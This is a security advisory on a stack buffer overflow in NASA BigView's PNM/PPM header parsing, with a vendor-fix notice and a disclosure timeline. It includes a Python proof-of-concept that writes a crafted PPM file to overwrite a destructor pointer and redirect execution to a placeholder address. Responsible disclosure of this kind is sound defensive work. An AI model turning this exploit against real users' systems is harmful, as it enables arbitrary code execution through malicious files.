NASA BigView [1] allows for interactive panning and zooming of images of arbitrary size on desktop PCs running Linux. Using this software, one can explore (on relatively modest machines) images such as the Mars Orbiter Camera mosaic [92160x33280 pixels].
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application. The vulnerability is caused due to the BigView package not properly checking the line length of the ascii PNM input files before copying it on a stack buffer. This can be exploited to get arbitrary code execution by opening a specially crafted file.
Exploitation of the PNM overflow problem requires the user to explicitly open a malicious file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied.
Vendor Information, Solutions and Workarounds:
The NASA BigView team has published a new version fixing this vulnerability. The tarball is available on BigView's website: http://opensource.arc.nasa.gov/project/bigview/
Technical Description / Proof of Concept Code:
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application.
The vulnerability resides in the following code at 'Ppm/ppm.C'. Here, the function 'getline()' reads data from a file into a buffer. This is the complete function:
Clearly the function requires the length of the destination buffer, but it is never used internally. This function is used on the 'PPM::ppmHeader()' function, to read the header of the PPM file.
Here, the 'lineBuf' buffer is allocated on the stack, with a size of 512 bytes. If the PPM contains a line longer than 512 bytes on the header, a buffer overflow will ensue. The following proof of concept is a python script that creates a PNM file that triggers the overflow and jumps to an arbitrary position (0x41414141 on the PoC) when loaded with BigView compiled on Ubuntu 6.06 LTS.
Exploit:
## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
Desktop i386
import struct
w = open("crash.ppm","wb")
w.write("""P3
#CREATOR: The GIMP's PNM Filter Version
1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
# This exploit is not trivial, because the function PPM::ppmHeader()
doesn't return inmmediately, and we must modify internal variables to
cause an overwrite of a C++ string destructor executed at the end of the
function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):
w.write(chr(i)*4)
w.write("AA")
w.write(struct.pack("<L",0xaaaaaaaa))
w.write(struct.pack("<L",0xbbbbbbbb))
w.write(struct.pack("<L",0xcccccccc))
w.write(struct.pack("<L",0x08080000))
w.write(struct.pack("<L",0x08080000)*48)
#The address of the destructor is hard-coded. Sorry but this is only a PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination
Report Timeline:
2008-04-24: Initial contact email sent by Core to BigView team setting the estimated publication date of the advisory to May 19th.
2008-04-28: Vendor acknowledges the email notification.
2008-04-30: Core sends the advisory draft to BigView support team. No reply received.
2008-05-12: New email sent to BigView asking for a response. No reply received.
2008-05-15: New email sent to BigView asking for a response.
2008-05-15: BigView support team informs us that a new patched version is ready, but is not yet available via BigView webpage.
2008-05-19: Core does not release the advisory (as planned).
2008-05-19: New email sent to BigView team asking if the fixed version is available to the users.
2008-05-26: New email sent to BigView team, refreshing the communications that took place, and asking for an answer.
2008-06-02: Vendor responds that a tarball with fixes has been published on BigView's website.
2008-06-03: Core sends the final version of the advisory to the BigView team.
2008-06-04: CORE-2008-0425 advisory is published.